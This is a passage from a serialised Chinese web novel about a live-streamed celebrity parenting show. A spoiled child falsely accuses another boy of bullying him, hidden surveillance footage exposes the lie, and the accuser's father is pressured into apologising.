宋修浩边哭边扑过去打周文晏,宋修浩白白胖胖的像是一个球,就这么扑过来直接把周文晏摁倒在地上了,周文晏也委屈,但他没哭,气的握紧拳去推骑在自己身上的小胖子,又一次把人推到地上,宋修浩哭的更凶更厉害了。 他想打周文晏竟然还没打过,还被周文晏打了,他气死了。 这么大的声音嘉宾们怎么可能听不到,宋明远对自己孩子的声音太熟悉了,一听就知道这是自己孩子的声音。 宋明远赶紧从梦中惊醒了,也没那个功夫纠结着土培房睡起来多不舒服,套上鞋子就循着哭声去找自己儿子。 宋明远冲过去的时候就看到周文晏压着自己儿子,看着像是在打架。 宋明远气的心血上涌,他这好不容易盼来的小儿子,他自己在家里面连一句重话都没说话,现在孩子就被周鹤瑾家的小杂种这么欺负! 宋明远赶过来的时候周媛媛也出来了,周媛媛同样看到周文晏压着宋修浩这一幕,心里面连着咯噔了几下,一抬头就对上宋明远发黑的脸色。 周媛媛知道宋明远是内陆娱乐圈掌握资本话语权的明星,现在看到周文晏欺负了宋明远的儿子心都跟着凉了半截。 她不由分说的将周文晏从宋修浩的身上拎起来。 摄影师也跟着两位嘉宾出来了,正好拍到周文晏“欺负”宋修浩这一幕,弹幕评论区都炸锅了。 {什么情况?周文晏在干什么?在压着宋修浩欺负?} {周文晏不是挺懂事的吗?跟在周鹤瑾身边的时候那么乖,见到许愿还一口一个姐姐的,现在怎么就变脸了?这孩子……怎么这么吓人!小小年纪就会演戏了!} {都说周鹤瑾会教孩子,这就是周鹤瑾教出来的孩子?宋修浩也没做什么吧,来了之后就算是任性那也是跟着自己父母人性,周文晏凭什么教训宋修浩?这孩子太没教养了!} {我要是宋明远我现在都想冲过去打小孩了。} {周文晏这孩子真是……最开始还觉得这孩子挺乖的,怎么现在就……这么快就原形毕露了。} {不是?就因为看到了这一幕一边倒的说周文晏的不是?都知道宋修浩是个熊孩子,谁能保证不是宋修浩先找茬的?} {宋修浩再怎么找茬周文晏也不能直接压着人打吧!} 弹幕区吵成一团。 宋明远铁青着一张脸盯着周文晏和周媛媛,周媛媛赔笑道:“宋老师,实在不好意思,是我没有教好孩子,文晏这孩子被我们惯坏了。” “文晏,赶紧给哥哥道歉!”周媛媛低声下气的道歉后就是逼着周文晏道歉。 方才周文晏眼睛都没有红,现在被周媛媛这么逼着道歉眼睛却是红了一圈,委屈的瞥着嘴巴一声不吭就是不肯道歉。 周媛媛被他这副模样气到了,她瞪着周文晏:“文晏,妈妈有没有说过要做一个听话的小朋友,你这样没有人会喜欢你的,大家都在看着你,都知道文晏是个坏小孩。” “我才不是坏小孩!”周文晏黑亮的眼睛里面都是泪水。 “是他先欺负我的!”周文晏反驳。 宋修浩躲在宋明远身后听到这话赶紧嚷嚷:“我才没有欺负你!是你故意拿着你的炸小鱼来我这里炫耀的欺负我!是你先动手的!我才不会主动欺负人呢!”宋修浩在这里故意说这个。 宋修浩也担心自己做的事被人知道了很多人骂他是坏小孩,所以现在把锅都推到了周文晏身上。 听到宋修浩说这些,周媛媛再次恼了。 “好了!不要再撒谎了!我和你宋叔叔来的时候都看到你在压着小浩欺负了!我们都亲眼看到了你还要撒谎,你这个孩子怎么能这么过分!快道歉!” 周媛媛见她执迷不悟几乎是要逼着周文晏开口道歉。 周文晏倔强的不肯道歉。 周媛媛见此气的心口疼,她没怎么管过周文晏,周文晏当然跟她不亲。 她就怕因为周文晏欺负了宋修浩,往后宋明远故意在娱乐圈卡她的资源。 她本来就没多少资源,现在周文晏还在节目上得罪人,她怎么就生了这么个不懂事的小孩儿! “你不可能道歉是不是!不肯道歉那你就站在门口,什么时候肯道歉了什么时候再回房间!”周媛媛疾言厉色逼迫。 弹幕区有人看到这里倒是说什么的都有。 {周文晏……长得那么可爱,而且小孩儿一开始就很懂礼貌,现在被逼成这样了也不肯道歉会不会有什么隐情啊。} {宋修浩不是都说了是周文晏欺负他吗?小孩子肯定不会撒谎的。} {小孩子不会撒谎才是个笑话,小孩子才最会撒谎} {所以你是说宋修浩故意撒谎欺负周文晏?之前我们看到的都是周文晏打人好吗!眼见为实!} 第873章 他不是坏小孩 {我觉得周媛媛真的很怪啊,正常情况下对上这种事谁家家长这么对自己小孩儿的?起码要问清楚状况吧,周媛媛问也不问就说是周文晏的错。} {就是周文晏的错啊!} {不是周文晏的错难道还是宋修浩这个受害者的错?搞笑!} 人们其实就是会讨厌欺负人的小孩子,宋修浩来节目组虽然一直都在作,但起码都是在跟自己父母作,没有影响到别人,周文晏呢,直接动手了,动手了,那兴致就不一样了。 宋修浩此刻还躲在宋明远身后偷偷看周文晏,见周文晏被骂还特地吐了吐舌头像是故意气周文晏。 周文晏啪嗒啪嗒的掉眼泪。 周媛媛权当没看到周文晏在哭,此刻还在向宋明远道歉,好话说了一箩筐,还去哄宋修浩,完全无视了一直哭个不停的周文晏。 周鹤瑾在厨房做好了饭想出门去叫周文晏吃饭,他记得自己告诉周文晏不许他跑远,只能在门口玩。 他最清楚自己的小孩儿,一直都是听话的。 周鹤瑾出来找周文晏,岂料看到门外自己的儿子站在门口不停的哭,眼睛都哭的肿成了核桃,宋明远和周媛媛都在哄宋修浩,好像宋修浩受了什么天大的委屈。 周媛媛还在哄着宋修浩,根本不管不停流泪的周文晏。 “晏晏,出什么事了。”周鹤瑾赶紧走近,周文晏看到周鹤瑾哭的更凶的抱住了周鹤瑾的腿。 “呜呜爸爸……我没有欺负他,他们都说我欺负人,我没有,我不是坏小孩呜呜……”周文晏委屈的声音哽咽,说话都断断续续的,很怕周鹤瑾也误会自己是欺负人的坏小孩。 周文晏几乎是周鹤瑾一直看着带大的,怎么可能不疼他,现在看他哭成这样心口都微微发疼,他半蹲下身摸了摸周文晏的头发。 “爸爸知道晏晏很听话,是乖小孩。”周鹤瑾这话才一出口,周媛媛紧跟着一句:“周鹤瑾,你不能太惯着周文晏了,你这样会把孩子教坏的!” 周鹤瑾眼神一厉。 “周媛媛,你从来没有管过晏晏,现在你也没资格说这些。” 周媛媛脸色顿变,唇瓣都跟着哆嗦了下。 周鹤瑾抽出宝宝湿巾擦着他脸上的泪痕,又给他擦擦鼻子,把他哭出来的鼻涕也擦干净了,一点一点的,照顾的很细致,甚至还检查了下他有没有伤到摔到。 见周文晏没有受伤,周鹤瑾才开口问:“晏晏,跟爸爸说清楚到底发生了什么事好不好。” 比起其他人,周鹤瑾还是更相信周文晏。 周文晏听到周鹤瑾这么说,眼睛红的更厉害了,他呜咽一声:“爸爸给我炸了小鱼,他看到后要吃,我已经分给他一条,他还想要,可我只剩下两条小鱼了,我不想分享给他了,他就冲过来抢走吃掉……那是爸爸给我炸的小鱼……” 想到这里周文晏更委屈。 听到周文晏的话,宋明远面上虽然带着笑,但怎么看都只有凉意。 “小朋友可不能撒谎哦,撒谎的话鼻子会变长变成丑八怪的。”宋明远对着周文晏说这话,周文晏大喊:“我才没有撒谎!” 反倒是宋修浩听到撒谎鼻子会变长的话赶紧紧张的摸了摸自己的鼻子,一副惊慌失措的模样。 这边闹腾的这么厉害,许愿和盛景炎本是打算来看看哪一组饭菜不够的,岂料就看到了这么一出好戏。 而周文晏被欺负到哭的眼睛都红了,宋明远呢,更像是仗着自己在圈子里的位置欺压周鹤瑾一般。 许愿微微眯眼,跟着盛景炎走近。 “周老师,出了什么事?” 许愿问了句。 宋明远见她来了。也担心事情闹大,到时候许愿肯定是站周鹤瑾的,现在只能吃下哑巴亏干笑两声:“许总,没什么大事,就是小孩子打打闹闹的,不碍事。” 许愿凉凉的看他一眼:“我在问周老师。” 宋明远面上僵硬的笑意更木了。 许愿确实是一点面子都没想给他啊。 可偏偏许愿的身份摆在这里,莫说剧组上下了,就算是资本圈子里也没人敢招惹她。 许愿出来后直播间的人更多了,全都在议论这次的事,正说着呢就有人开始吐槽许愿态度问题,一看就是宋明远的粉丝,许愿的粉丝怎么能忍啊。 {宋明远不就是在娱乐圈咖位大点吗,摆什么谱?年纪大倚老卖老说几句话都在内涵呢,怎么的,就因为他年龄大剧组的人就都要让着他了?呸,想让许愿尊重他,先干点人事儿啊,就这么说吧,我是个男的,看了宋明远对着测谎仪小猫咪说的那些话后我都知道这是个人渣,我是男人我能不懂男人吗?这人明摆着就没把林悠羽放心上,说白了林悠羽就是被他糊弄来生孩子的,我作为男人都瞧不上他,许愿就能看得上他?不愿意搭理他那不是很正常的事?三观正的谁会喜欢搭理人渣!} 宋明远的粉丝骂许愿,许愿的粉丝就能立刻怼。 开玩笑,人家问周鹤瑾的,你宋明远在那边插什么嘴啊,凭什么给你面子听你说话啊,你算什么东西。 弹幕区闹哄哄的,许愿其实一点都不在乎。 周鹤瑾简单跟许愿说了下自己看到的知道的。 许愿听完脸上的笑意也越来越深了,但熟悉她的人都知道许愿这是生气了。 许愿半蹲下身摸了摸周文晏的头,声音放轻:“晏晏,小孩子是不可以撒谎的,晏晏告诉阿愿姐姐,你说的都是真话,没有撒谎对不对,如果撒谎阿愿姐姐就不喜欢你了。” 周文晏红着眼睛开口:“我没有撒谎,我的小碗都还在地上呢,是他吃完小鱼后摔到地上的。” “好,姐姐相信你没有撒谎。”许愿冲他笑了笑,又哄了他几句后看向盛景炎,盛景炎微微颔首,然后问周鹤瑾:“你们这边房间内可以投屏吗?” 周鹤瑾记得好像有投影仪,便点了下头。 盛景炎听到这里直接进到周鹤瑾分到的平层别墅,其他人不知道盛景炎要做什么,反观许愿又去问宋修浩。 第874章 监控 “小朋友,姐姐问你,是你欺负了周文晏,还是周文晏欺负了你呢?”许愿问他。 宋修浩眼珠转了转,躲在宋明远身后不肯出来,完全不面对许愿。 宋明远只能找借口道:“我儿子胆子小,有点怕见生人。” “知道他胆子小不喜欢见生人还带你儿子来,你可真是个好父亲。”许愿嘲了一句。 宋明远只能干笑。 “这次的事就是小朋友之间在打打闹闹,我回去后会让小浩注意的,这事儿不如就这么算了。” 许愿脸上还带着笑意:“怎么能就这么算了呢,不是说要让错的人道歉呢,那必须是要刨根问底才知道错的人是谁啊。” 宋明远只能笑着说:“两个小朋友说的答案都不一样,那应该相信谁的呢,我知道许总很喜欢周文晏,但是这种事……还是要客观一些的。” 这话就差没说许愿偏心。 许愿淡淡的瞥他一眼:“两个小朋友的话到底是真是假看过监控不就好了,要相信科学啊。” 宋明远:“……” 宋明远先是愣了下,然后说:“刚才没有摄影师跟着,他们之间发生了什么也没人知道,哪里来的监控?” 许愿此刻便笑出声:“宋老师,你来参加节目的时候,节目组难道没有告诉你这档节目用了我最新研发的无人机监控?” “直播的时候我们身边的确是有摄影师跟着的,但是你看不到的地方也遍布监控,只不过没有直播,那些是需要等到节目录制后将那些剪辑进正片的。” 宋明远彻底愣住了,他没想到节目组竟然还准备了这些。 宋明远其实心里挺清楚一件事的……那就是这次的事情说不定真的是自己儿子引起的。 没有监控还好说,能咬死了是周文晏欺负自己儿子,但现在许愿却说有监控,他真的想不到监控都拍了什么。 自己儿子什么德性宋明远怎么可能不知道呢,就是因为太清楚了,所以现在有点自乱阵脚了。 “其实我觉得这次的事没必要闹太大,闹大了对小朋友们都不好。”宋明远现在倒像是个处处为两个小孩儿着想的好人了,好像刚才逼着周文晏道歉的人不是他一样。 许愿根本不吃他这一套。 “晏晏想不想让所有人都知道真相呢。”许愿直接去问周文晏。 周文晏立刻点头,他才不想被冤枉。 “宋老师听到了吗?”许愿面带微笑的问他。 宋明远只能扯了扯唇角,心却是凉了半截。 “这个时间阿炎应该已经调好录像了,一起去看看吧。” 宋明远心更冷了,原来之前许愿让盛景炎离开就是为了让盛景炎去调录像。 宋明远再不情愿也只能带着宋修浩一起进去了。 待看清楚周鹤瑾和周媛媛排第二住的平层别墅后心里又是羡慕又是嫉妒,特别是看到他们桌上丰盛的饭菜,宋明远就想到自己分到的只有这个季节最普通的蔬菜,脸色又有些难看。 宋修浩就盯着餐厅桌上热气腾腾的饭菜,也不去管别人,自己就已经凑过去伸手去抓虾吃。 “小浩!不能这么没礼貌!这是你周叔叔家!” 宋明远看到宋修浩这举动更是眼前一黑,他都能想象得到弹幕现在要骂的多凶了,肯定都在说他不会教孩子,孩子这么大了没有教养不知礼数,来别人家问也不问直接上手。 宋修浩被骂了也不觉得是自己做错了,气的直接把一整盘虾全都摔到地上以此来表达自己的怒火。 “小浩!你这孩子又发疯!”宋明远被他此刻的举动气到了。 弹幕区都目瞪口呆。 {之前都说周鹤瑾不会教孩子……还说宋修浩只是对自己父母作,现在看看呢?这是哪里来的熊孩子啊,到别人家这么颐指气使的直接上手吃东西,被自己父亲教育了就要摔盘子?} {我现在虽然还没有看到监控录像,但是我已经猜到了真相……应该就是宋修浩看到周文晏的小鱼所以抢吃的,周文晏被欺负了然后还手的,绝对是这样。} {熊孩子……这小孩儿也太讨厌了吧!} {人家周鹤瑾好不容易赢来的虾就这么被宋修浩给摔了,这小孩儿也太讨厌了吧!} {我这辈子最讨厌的都是熊孩子,宋修浩一看就是家里面宠出来的宝贝疙瘩,看那体型就知道了。} 弹幕区会怎么骂宋明远都猜得到,但现在宋明远也没办法阻止,只能对周鹤瑾道歉。 周鹤瑾面色冷淡,也看不出是不是真觉得没关系。 盛景炎已经调出了那段录像,众人可以看到画面中周文晏本来在开开心心的哼着歌吃炸小鱼,开心的在晃脚脚,然后宋修浩就出现了,看到周文晏在吃炸小鱼直接就伸手要,甚至连个“请”字都没说,理直气壮的找周文晏要炸小鱼。 周文晏给了炸小鱼后宋修浩还要,甚至抢了他的小碗,吃干净后就把小碗摔到地上,这才导致周文晏气到推了他一把,宋修浩起来后就骑到周文晏身上。 可以说从头到尾周文晏自己开开心心的吃炸小鱼,是宋修浩自己凑上去抢人家小鱼吃还欺负人的,最后却还要恶人先告状的大哭说是周文晏欺负他。 但凡今天没有这苦相,周文晏都会被人骂死,说是撒谎欺负人没有教养的小孩儿。 真相大白,周文晏扑进周鹤瑾怀里小声:“爸爸,我没有撒谎,我不是坏小孩。” 弹幕区的观众看的更是气血上涌,那怒火全都宠着宋明远、周媛媛和宋修浩去了。 {宋修浩这小崽子是真的爱欺负人啊!没礼貌还爱撒谎!宋家到底怎么娇惯的!} {我不信宋明远不知道自己儿子什么样儿,这就是故意欺负人的是吧,觉得没有录像没有监控,所以逼着周文晏道歉,不信看前面,宋明远知道有监控后脸色立刻就变了,明显是担心真相暴露,他肯定也知道他儿子有多爱欺负人。} {周媛媛就是好人了?明明是周文晏的亲生母亲,却在发生这种时候第一时间指责自己的儿子逼着自己儿子道歉!} {没听到周鹤瑾说的那句话吗,说她从来没有管过周文晏!} 第875章 完了 宋明远脸色苍白难看。 从录像被调出来那一刻宋明远就知道完了。 他带着宋修浩来录制节目是想给自己的孩子提前开路,以后好直接出道。 他很清楚自己儿子虽然被宠的胖了点,但基因在这里,以后的颜值绝对不会差,最好是童星出道,他能为宋修浩铺好路。 可谁能想到自己儿子才来的第一天就惹出了乱子。 别说讨人喜欢招粉了,这件事如果处理不好以后别人提到他儿子就是“熊孩子”,那能有什么好态度?路人缘就崩在这里了,口碑全没了。 早知道这样就该带自己的女儿来,也好过自己的儿子被骂。 宋明远都这时候了还想着心疼宋修浩。 宋修浩似乎也知道自己做错事了,他看着被调出的录像,此刻舔着自己手上的油渍躲在宋明远身后,似乎是不想面对这么多人,缓了片刻才探出头,可一对上许愿淡淡的眸光宋修浩便有些怂有些慌的将脖子缩回来。 明明许愿什么都没有说,宋修浩就是有点怕她,他自己也说不上来是为什么,但就是会慌会怕。 宋明远怎么察觉不到宋修浩的情绪,他当然知道错的是宋修浩,但说到底宋修浩就是个孩子,做大人的,难道一定要跟个小孩子计较? 宋明远此刻全然忘记之前自己是怎么逼着周媛媛让周文晏道歉的,此刻他拦在宋修浩面前扯了扯唇角勉强的开口:“文晏和小浩都还是孩子,小孩子之间有点小摩擦都是很正常的,其实本来也不是多大的事情,我现在就让小浩跟文晏道歉。” 宋明远这话才说完,周鹤瑾眸光冷淡的扫向宋明远。 “文晏被冤枉的时候,宋老师可不是这样的。” “现在被爆出你的儿子欺负了文晏,宋老师却改了口,宋老师无非是自己心里也清楚这件事后很丢脸。” “你话中的意思无非是在暗示我,大人不该跟小孩子一般见识上纲上线,可我不想让我儿子白白被欺负,抢东西的是你儿子,恶人先告状撒谎的也是你儿子,现在来到我这里不知礼数的也是你儿子,所以于情于理宋修浩都应该对文晏和我们道歉。” 周鹤瑾明摆着没打算轻拿轻放,他此刻怀里还抱着周文晏,周文晏整个人埋进他怀里,脸也埋进去,似乎是根本不想看他们。 周鹤瑾的性子其实在娱乐圈可以说是众人皆知的程度,他性子直情商低,有什么说什么,不管那人什么身份,只要做错了事一概不会给那人面子。 否则十年前也不会为了许愿和那几个粉丝被剧组内涵然后踢出剧组。 但凡周鹤瑾圆滑一些聪明一些,按照周鹤瑾的资质,就算没有许愿,也早该火了。 可偏偏在此前周鹤瑾一直都是不温不火的状态,虽然转型自己也有演技,但到手的都是烂本子,就是因为周鹤瑾情商太低,不会讨好人。 他不仅不讨好人,见到剧组一些不公平的事甚至可能直接开麦。 曾经所在的剧组本来定下的男二号被制片人的侄子顶替,连夜被赶出了剧组,若是对方侄子演技好形象贴近周鹤瑾是不会说什么的,但偏那人相貌不行演技不行台词更不行,为此周鹤瑾在自己账号上提到过这件事,就是为了被踢出剧组的男二号鸣不平,最终导致他自己戏份被删除很多,连带着剧宣的时候都没有带他。 经历过这么多事,周鹤瑾还是没有改掉自己的臭脾气,一如既往。 得罪了那么多资本本该早就凉了,周鹤瑾却因为十年前对许愿的善念多了个无敌强大的金手指。 对,是可以这么说的,许愿就是周鹤瑾最强大的靠山金手指。 现在有了许愿,宋明远觉得周鹤瑾更是可以无所顾忌。 不然也不会真的当着自己的面说这种话。 宋明远脸色难看的盯着周鹤瑾看了许久。 但凡周鹤瑾背后没有许愿,他早就联合其它人封杀周鹤瑾了。 没办法,许愿护着周鹤瑾,周鹤瑾翅膀硬着呢,谁也撼动不来,玩阴的也不敢对着周鹤瑾来。 宋明远心里气的够呛,没办法啊,就算生气也不得不低头,都到这份儿上了他还能如何? 笑,微笑,然后逼着儿子道歉。 宋明远对着宋修浩开口:“小浩,快对你文晏弟弟道歉,今天的事全都是你的错,以后要记住不能去抢其它小朋友的东西,更不能动手打人,听到没有。” 宋明远说这话就是做做样子,想着宋修浩赶紧道歉,道完歉就打算走人了,省的继续待在这里被人当乐子看的丢人。 “我不!我没有错!” “奶奶都说了,我想要什么我就可以去抢去拿,反正爸爸你有钱,你给钱买单就可以了!” “奶奶说了我做什么都是对的!我就是对的!我不道歉!” “我听奶奶的我不听你的!” 宋明远想的很好,只等宋修浩道歉这事儿就算完了,周鹤瑾也不能继续揪着这件事不放了。 宋修浩能听话吗?他一直都被宋明远的母亲带着,一家子都是重男轻女的,才把宋修浩教成这么个性子,做错事也不肯承认错误,觉得有钱就行,宋修浩明明还很小,但却已经长歪了,能让人透过现在的宋修浩看到以后的他是个怎样的纨绔二代。 宋明远脸上僵硬的笑意都有些收不住了,他现在觉得拳头都硬了。 他是疼宋修浩,但不妨碍他也觉得自己这儿子现在该教训。 怎么就能蠢到这种地步? 这么多人都在看着,还在直播,就非要把这些话都说出来让直播间的观众看见吗! 他们要怎么嘲讽他不会教孩子? 弹幕区果然已经乱作一团,无非是嘲讽宋明远只顾着赚钱根本没空教孩子,让他尽早好好教育宋修浩,不然就算是家里有钱也是迟早蹲局子的货色,骂的要多难听就有多难听。 也不怪直播间网友。 宋明远是有国民度的,但他的粉丝其实大多数都是上了年纪的人,根本不会长时间盯着直播看,而看直播的其实多数都是年轻人。 第876章 没一个好人 年轻人对小孩子都是有一个特性的,她们喜欢天使宝宝,讨厌熊孩子。 更讨厌熊孩子欺负天使宝宝。 好巧不巧,周文晏长得好又一直都是可可爱爱的,简直就是个乖巧听话的天使宝宝,而宋修浩就是她们眼中的熊孩子。 能不熊吗? 抢别人的东西动手打人还满嘴谎话,做错事也理直气壮的不道歉,简直太讨厌了! 碍于宋修浩在节目组上的表现,导致宋明远的路人缘也越来越差。 没办法,你名气再大也不能真的教出来个熊孩子!这谁也接受不来! 宋明远面容都带着几分扭曲,缓了好一会儿才要继续跟宋修浩讲道理,可宋修浩根本不听,见宋明远还要让自己道歉,又吵又闹的把桌子上的饭菜全都打翻了。 打翻后甚至还故意叉腰喊道:“我没有吃的,你们也别想吃!我没有肉你们都别想吃!呸!” 显然是故意打翻了桌上的饭菜。 就因为他们家分到的只有菜没有肉,所以嫉妒。 宋明远几乎是要眼前一黑的程度。 弹幕更是目瞪口呆,只觉得自己嘀咕了宋修浩熊的程度。 疯了吗! 闹出这么大动静,节目组的人赶紧去把林悠羽也赶过来,想的是既然宋修浩不听宋明远的话,那总该听林悠羽的话,父母的话总要听一个吧. 林悠羽来了后节目组的人一脸为难的把前因后果都跟林悠羽讲了。林悠羽惊呆了。 她一度以为节目组的人在开玩笑。 一低头就看到地上被砸的饭菜,林悠羽就明白了,节目组没有夸大其词,自己儿子确实做了不少错事惹得节目组头疼,宋明远也管不得,现在只能来找她。 林悠羽心里发堵。 找她就有用吗? 她在家里面带宋修浩的时候,宋明远的母亲都不肯让她查收,不让她训斥宋修浩不能说他一句不是。 宋老太太最常说的就是我儿子有钱,出了事让他拿钱摆平,她孙子就是要潇洒自在的活着,谁也不能拘着他困着他。 送老太太偏心宋修浩,偏心到谁也不能说谁也不能训斥指责的地步。 时间久了宋修浩就养成了天不怕地不怕的性子,哪怕亲妈在这里,她也觉得没资格管自己,他只听奶奶的话。 所以林悠羽不觉得自己能说通宋修浩道歉。 林悠羽面上都是愁容。 果然就像林悠羽想的那样,她才开口提到让宋修浩道歉的事,宋修浩就有开始吵嚷。 “我不道歉!” “你少在这里念我!奶奶说了你不配管我!我要奶奶!我要奶奶!” “我不录了!你们全都欺负我!我要让奶奶给我讨公道!” 宋修浩推了林悠羽一把,对她不见半点尊重,完全不像是正常的孩子对上自己母亲的模样,或者说宋修浩像是完全没把林悠羽当母亲。 因为宋修浩这一推一骂,弹幕评论区彻底炸锅了。 {靠,宋修浩这死崽子是怎么敢说这话的?什么叫林悠羽不配管他?林悠羽是他亲妈还不能管他?这要是我孩子我养都不想养,谁爱养谁养,如果不是弃养犯法,我直接就给他丢出去,自生自灭,什么玩意儿!} {作为过来人可以很明确的告诉各位,宋修浩对林悠羽这个态度明摆着是因为林悠羽在宋家不受重视,宋明远不在意林悠羽这事儿我们已经知道了,现在宋明远的母亲也不在意她,不然宋修浩说不出这些话,宋修浩那句“奶奶说了你不配管我”这句话我觉得宋修浩是没有撒谎的。因为在宋明远和他母亲眼里林悠羽其实不能算是宋修浩的母亲,其实就是宋家人找来林悠羽就是为了改善基因生下健康下一代的,所以在宋明远母亲的严重林悠羽根本不算是宋修浩的母亲。} {宋家都是些什么烂人啊!林悠羽都漂亮到这种程度了却还要被他们挑剔瞧不起,连自己儿子也不配管,看着就揪心!} {宋家人真是没有一个好人!} 宋家如果有好人,宋明远就不会不把林悠羽当家人当爱人了,弹幕上说的其实都很对,但这件事毕竟是林悠羽和宋明远的家事,网友们也没这个权利掺和进来。 倒是现在因为直播,暴露了宋修浩这个被宠坏的熊孩子自私鬼。 宋明远本就打算让林悠羽看顾宋修浩,甚至打算回去后问问林悠羽到底怎么带的孩子,能把宋修浩教成这样。 谁知道宋修浩张口闭口喊是奶奶教的,宋明远听了更是眼前一黑的程度。 合着林悠羽没错,错的全都是他母亲? 这都是什么事儿? 宋明远脸色阴沉沉的,宋修浩还在吵闹,宋明远扛不住了,冷着脸对林悠羽道:“悠羽,你先把小浩带回去,这孩子被惯坏了,现在是不会道歉了,等带回去后我们再好好教育他。” 林悠羽也是这么想的。 宋修浩闹成这样她也嫌丢人。 林悠羽赶紧把孩子抱走了,离开的时候是跑着的,生怕有人叫住她再说些其它的。 宋修浩走了,房间内终于静下来。 众人目光全都落在宋明远身上,他们都没说话,仿佛之前看了个跟自己无关的笑话,唯独周媛媛苍白着一张脸缩在角落里想要让众人无视她。 宋明远干笑了一声:“小浩被我妈养歪了,这孩子……说什么都不听,只能先让悠羽把小浩抱回去了。” 宋明远的脸上明显带着歉意,像是很为难。 许愿表情冷淡的看着他,片刻后轻笑一声:“宋老师,我不得不给你个忠告,宋修浩现在年纪还小还能养回来,但如果你继续放任你的母亲教养他,那么等他长大后势必会做一些违法乱纪的事,以小见大……他现在敢直接抢文晏的小鱼,等他成年后就敢抢人抢更多,他现在敢打人,以后就可能敢杀人,真等他手上染了血你再想后悔也来不及了。” 宋明远此刻完全笑不出来了。 许愿这话其实是一种冒犯,可他说不出反驳的话,因为自己的儿子有错在先。 第877章 这孩子满肚子坏水儿 “是,许总说的是,我回去后会让我母亲注意的。”宋明远只能敷衍的应了。 “不,如果你是聪明人,现在就该回去让你的母亲远离宋修浩,然后亲自教导。” 许愿看着他几乎是在小心仔细的提醒:“他已经就不在乎你和林老师了,连自己父母话都不听的孩子,你认为他成年后还会在意你们吗?” “宋老师,不是我危言耸听,而是现今社会有太多这类的例子,你要知道,孩子不只是生下来就够了。” “养儿不一定养老,你要谨记。” 许愿这话说的有些严重了,但却让宋明远不得不想的长远了些。 他的母亲也跟他讲过有一个老友的儿子养大后跟自己的父母成了仇人,不仅不养老,甚至偷走了二老的所有家底,还偷偷的把房子卖了,吃喝嫖赌更是一样不漏,现在已经因为违法犯罪吸食禁品被捕了。 宋明远脸色愈发难看了,此刻俨然是已经把自己代入了那父母的角色。 不怪宋明远想太多,实在是他儿子确实是有这个可能啊。 宋明远明显的开始惊慌了。 许愿却只是一副自己只是讲了一件小事的模样,没把这件事放心上,只留着宋明远疑神疑鬼。 宋明远甚至已经想着回去后再生一个了,这个养废了那就重新生一个,总有一个是孝顺的。 宋明远心里面犯嘀咕,此刻已经想要离开,前脚才踏出房门,就听到许愿在在他身后开口了。 “宋老师,宋修浩做错了事并没有道歉,那你是不是应该替你儿子道歉……你自己也应该向文晏和周老师道歉呢?”许愿轻飘飘的开口,像是直接把难题推到了宋明远身上。 宋明远脚下一踉跄,险些摔倒。 他就是不想道歉所以才溜得这么快,没想到许愿根本不给他这个机会。 小孩子道歉和他对小孩子道歉那能是一个意思吗! 这是在直播,那么多人都看着呢,要有多少人都在骂他嘲讽他? 宋明远不敢想。 可他知道自己到这一步不能不道歉,总不能继续得罪许愿,除非他真的疯了。 宋明远深吸一口气,干笑了两声:“我险些忘了这事儿,还好许总提醒我了,是要好好道歉的,这次的事文晏的确受了委屈。” 宋明远脸上带着明显的笑然后走近周文晏。 这是农村的平层别墅,客厅的灯其实质量并不算多好,就算开着灯都感觉灯光有点昏暗。 周文晏倚靠在周鹤瑾怀中探出头,灯光打在宋明远的脸上,他的脸上明明带着笑的,可周文晏却觉得割裂且扭曲的可怕。 他立刻重新扑进周鹤瑾怀中,死死的抱住周鹤瑾,再不敢去看宋明远,仿佛宋明远是什么吓人的牛鬼蛇神。 宋明远见他这举动被气得心头直跳,可直播还在进行,许愿和盛景炎都看着呢,必须低头,必须道歉。 他深吸了一口气,脸上弥漫着讨好的笑容。 “文晏,叔叔代替小浩向你道歉,叔叔以前因为工作太忙了所以没有时间照顾小浩,一直都是叔叔的母亲照顾小浩,所以才把小浩宠坏了,叔叔以后会好好教小浩的,希望文晏能够原谅小浩好不好。” 宋明远替宋修浩道歉了,可说出来的话明摆着说错的是宋修浩,跟他半点关系没有。 大人们听懂了,周文晏却不懂这些弯弯绕绕。 他好像觉得宋明远很真诚,其实小孩子哪里懂这些演员都是能演出“真情实感”的,事实是宋明远都想直接把他扔出剧组,根本不想道歉。 周文晏不知道这些,他真的以为宋明远在道歉。 因为周鹤瑾对他很好,所以周文晏觉得所有的父亲都是很好的,连带着宋明远都是有苦衷的。 周文晏从周鹤瑾怀中探出头望着他,有些天真的开口:“宋叔叔,你有那么多戏要拍吗?有那么忙吗?忙到都没时间陪自己的孩子吗?” 宋明远:“……” 宋明远心口抽抽的疼。 若非问这话的是个不到五岁的孩子,他真的会以为是对家故意来祸害自己的。 可偏偏周文晏是真的认真的在发问,且不带恶意! 宋明远尴尬的笑着:“对的,叔叔很忙的,有很多戏要拍。” 周文晏想了下,有些疑惑。 “可是我在电视上没有看到过叔叔啊,叔叔你真的有在认真工作吗?” “我有看到爸爸,但是没有看到叔叔呢。” 宋明远几乎要吐血了。 宋明远被他这童言无忌的话气的心肝疼。 宋明远是很火的,也拍过不少好剧,但那是很久前了,宋明远年纪上来后演技就开始油腻了,所以即便是资本也没有特别好的本子递给他,而他这边制作的本子他也没想参演,参演的那些不是出了事不能播就是因为题材问题被限制播出甚至还因为剧组的重要角色出了事导致无法播出的。 可以说这几年宋明远跟水逆一样,什么好事儿都轮不到他。 好不容易有播出的了,可那剧已经压了三年了,题材早就过时了,播出就被喷,那剧是黄金时间播出,最后被喷到电视台紧急撤档换了其它剧接上,所以周文晏没在电视台上看到他这是真的没撒谎。 周文晏看他不说话了便开口安慰:“叔叔,你不要太伤心,虽然你没有工作,但是你可以好好陪一陪你的孩子啦,就像我就很想爸爸陪我。” “不过……宋叔叔,其实你在剧组也可以带上他的,因为我爸爸就总是带着我去剧组陪我,所以我被爸爸教的很好,绝对不会欺负小朋友更不会撒谎哦。” “宋叔叔以后你也把他带在身边吧,这样有宋叔叔做榜样他以后就不会撒谎欺负人了。” 宋明远:“……” 宋明远真觉得周文晏是故意阴阳自己来嘲讽自己的。 这真的是不到五岁的小孩子能说出的话吗? 先是内涵自己没有工作,又是嘲讽他不像周鹤瑾那样负责的带着孩子在剧组拍戏…… 宋明远此刻看着周文晏的眼神都有些变了,只觉得这孩子满肚子坏水儿。 第878章 祸水东引 宋明远的脸色越来越难看,因为他确实没有想过许愿不给面子到这种地步。 可他虽然在圈子里算是资本,跟许愿比起来却又不算什么,如果许愿想的话,他随时都能被许愿封杀,他认识的那些人脉也会为了许愿而直接舍弃他。 真到那时候他就会成为弃子。 